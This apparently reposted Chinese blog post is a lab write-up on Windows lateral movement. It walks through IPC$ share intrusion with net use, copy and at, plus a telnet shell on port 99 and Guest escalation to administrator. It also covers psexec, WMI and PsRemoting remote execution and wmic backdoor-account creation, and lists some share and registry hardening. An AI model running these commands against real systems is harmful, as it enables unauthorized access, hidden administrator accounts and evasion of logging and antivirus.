Windows 远程控制(经典IPC$入侵、psexec类工具、利用WMI远程入侵、PsRemoting远程命令执行、使用wmic命令远程执行)

一、经典IPC$入侵

利用ipc$和默认共享入侵远程电脑的过程

1. C:\>net use \\127.0.0.1\IPC$ "密码" /user:"用户名"

一般通过扫描弱口令来得到管理员帐号和密码

 

2. C:\> copy srv.exe \\127.0.0.1\admin$

先复制srv.exe上去(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。

 

3. C:\> net time \\127.0.0.1

查查时间,发现127.0.0.1 的当前时间是2004/6/15上午11:00。

 

4. C:\>at \127.0.0.1 11:05 srv.exe用at命令启动srv.exe吧

 

5. C:\> net time \\127.0.0.1

再查查到时间没有?如果127.0.0.1的当前时间是2004/6/15 上午11:05, 那就准备开始下面的命令。

 

6. C:\>telnet 127.0.0.1 99

这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell.

虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了

 

7.C:\> copy ntlm.exe \\127.0.0.1\admin$

用Copy命令把ntlm.exe上传到主机上。

 

8. C:\WINNT\system32> ntlm

在对方计算机运行ntlm,当出现"DONE的时候,就说明已经启动正常。然后使用"net starttelnet"来开启Telnet服务!

 

9. Telnet 127.0.0.1, 接着输入用户名与密码就进入对方了,***作就像在DOS上****作一样简单!

 

10. C:\> net user guest /active:yes将对方的Guest用户激活。

 

11. C:\> net user guest 1234 &net localgroup administrators guest /add

将Guest的密码改为1234,将Guest变为Administrator.

 

防止别人用ipc$和默认共享入侵

1. 先把已有的默认共享删除(有几个删几个)

net share ipc$ /del

net share admin$ /del

net share c$ /del

 

2. 禁止建立空连接 首先运行regedit,找到如下主键

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ControlLSA]把RestrictAnonymous (DWORD)的键值改为: 00000001。

 

3. 禁止自动打开默认共享 对于server版,找到如下主键

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServerParameters]

把AutoShareServer (DWORD)的键值改为:00000000。

对于pro版,则是

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServerParameters]

把AutoShareWks (DWORD)的键值改为,00000000.

如果上面所说的主键不存在,就新建一个再改键值。

 

at和schtasks的比较

  1. at命令在win7中是不能将任务在前台执行的,所以很多朋友在win7中用at命令添加了任务,但到执行的时候发现只是打开了一个后台进程,及时加上/interactive参数也没有效果,而schtasks命令在win7里就可以将任务在前台处理。
  2. 如果是XP系统,则用schtasks命令不能在前台处理,反而用at命令加上/interactive参数到可以在前台执行。
  3. Win8以后at命令已经被弃用。

 

1. at语法:

at [\\computername] time [/interactive] [/every:date[,...]| /next:date[,..]] command

假如要在每天下午6点执行一个批处理文件,如下:

at 18:00 /interactive /every:M,T,W,Th,FS,Su d:\restart.bat

 

2. schtasks语法

schtasks的语法可以通过键入schtasks /?来查看

创建任务的语法可以通过schtasks /create /?来查看

想添加一个任务,在每天下午6点执行,如下

schtasks /create /tn tomcat /tr e:\restart.bat /sc daily /st 18:00

3. taskill语法

通过进程名称来杀死进程:taskkill /f /im java.exe

 

二、psexec类工具

PSEXEC执行原理

  1. 通过ipc$连接,然后释放psexesvc.exe到目标机器。
  2. 通过服务管理SCManager远程创建psexecsvc服务,并启动服务。
  3. 客户端连接执行命令,服务端启动相应的程序并执行回显数据。

PSEXEC类的工具有各种语言的实现,如Metasploit的psexec psexec psh, Impacket psexec,  pth-winexe, Empire Invoke-Psexec,最早Sysinternals公司pstools工具包当中的psexec.这里所指是Sysinternals的psexec,其他工具中的psexec都大同小异,用的都是都是这种思路。

 

PSysinternals的psexec

可以提权和执行远程命令,尤其是在域环境下,对于批量大范围的远程运维能起到很好的效果

 

为什么丢弃PSEXEC

psexec类工具会释放文件, 特征明显, 专业的杀毒软件都能检测到。

需要安装服务,会留下日志,并且退出时偶尔会出现服务不能删除的情况。需要开启admin$ 445端口共享。

在事后攻击溯源时,调查人员会通过日志信息来推测出你的攻击过程。但是它的优点在于,能直接给我们提供目标主机的system权限。

 

PSEXEC工具用法

以系统身份运行指定应用程序

Windows系统中administrator的权限不是最大的,最大的是system,很多信息只有system才能查看,比如注册表的sam信息,administrator是看不了的,如果你非要强行修改sam的权限而不顾安全的话,拿就是另外一种情况。那么现在我们要以system的身份启动regedit.exe,命令如下: 

psexec -S -i regedit.exe   -s就是以system身份,-i就是交互式,意思是让你看到注册表编辑器的这个窗口,不然他就在后台运行了。

 

创建/执行远程命令代码

执行远程进程的前提条件是对方机器必须开启默认共享ipc$以及admin$,否则无法执行。

 

δ在对方电脑上运行程序

C:\> psexec \\192.168.100.2 -u administrator -p 123456 -d -S calc

运行calc后返回,对方计算机上会有一个calc进程,是以系统身份运行的。窗口对方是看不到的,如果需要对方看到这个窗口,需要加参数-i。

 

δ在对方电脑上运行cmd命令,且不让对方看到这个窗口

C:\> psexec \\192.168.100.2 -u administrator -p 123456 -S cmd

 

这个命令执行成功之后,命令提示符窗口在我这边,可以直接在我这边输入命令,而命令在端执行,相当于远端应用程序虚拟化到本地,很有用。

 

三、利用WMI远程入侵

WMI的全称是Windows Management Instrumentation, 由一组强大的工具集合组成,用于管理本地或远程的Windows 系统。当攻击者使用wmi exec来进行攻击时,Windows 系统默认不会在日志中记录这些操作,这意味着可以做到攻击无日志,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。越来越多的APT事件中也出现了WMI攻击的影子,利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作

 

常见的WMI攻击工具

PTH-WMIS (最早wmi攻击的工具,单条命令执行,无回显,需要pth-smbget配合读取结果)

impackets wmiexec (Linux跨window经常用)

wmiexec. vbs (国人制造 为了回显会写文件)

Invoke-Wmi Command& Invoke -PowerShelIWmi

window本地的测试工具wmic默认情况下无法得到回显

 

使用winexec.vbs执行命令测试

 

使用impackets wmiexec执行命令测试,执行命令可以回显。在Linux跨windows渗透时经常使用

 

四、PsRemoting远程命令执行

PsRemoting远程命令执行基于WinRM, WinRM指的是Windows远程管理服务,它会监听http (5985) ;https (5986)端口,Windows Server2012中该功能是默认启动,但2008或2008 R2则默认是禁用的,但是不排除管理员为了方便他们对服务器进行远程管理,会将这个端口开启。

 

通过Enab le-PSRemoting打开PS远程管理,启动了Kerberos认证。这个方法只适合两台电脑在相同域或信任域内的指定电脑,但它不支持跨域、域外或IP地址。

 

如果在工作组环境中,必须设置信任,重启Winrm,才可以进行远程管理。

利用powershell渗透可以绕过杀软,绕过白名单防护设备,并且是交互式

 

作业一 用经典IPC$入侵方式上传文件

已知目标主机(win7)用户名密码

对目标主机进行扫描,发现存在IPC$共享

利用net命令进行入侵

把一个可执行文件上传到目标主机C:\\Windows\\system32目录

 

对win7进行IP配置 并关闭防火墙

 

对winxp 进行IP 配置 并且关闭防火墙

 

测试两个主机的连通性

已知管理员和密码 直接进入 复制bat到目标主机上

 

查询目标主机的时间 添加任务到目标主机 并设定时间

 

去目标主机查看是否运行 和目标主机的作业 成功运行

 

 

作业二 使用wmic命令远程执行

已知目标主机(WIN7)用户名密码。

用wmic命令对目标主机进行扫描,获取目标主机的基本信息

利用wmic命令远程建立一个管理员账户

限制用户修改该账户密码

https://www.freebuf.com/articles/system/182531.html

https://blog.csdn.net/qq_33020901/article/details/78810121

 

用wmic命令对目标主机进行扫描,获取目标主机的基本信息

首次使用wmic时 windows会自动安装  使用wmic命令获取目标主机的IP 和mac地址

 

win7上验证

 

查看目标主机系统中开放的共享

 

利用wmic命令远程建立个管理员账户

运行cmd.exe /c后加上语句 执行单条语句

举例WMIC /Node:ComputerName Process Call Create “CMD.exe /c GPUpdate.exe /force” 

 

可以在目标主机的用户组里看到test1用户已经被添加入管理员组

 

限制用户修改该账户密码

wmic useraccount where name=’hacker’ set passwordchangeable=false

 

发布了84 篇原创文章 · 获赞 68 · 访问量 3423

猜你喜欢

转载自blog.csdn.net/qq_37077262/article/details/103979530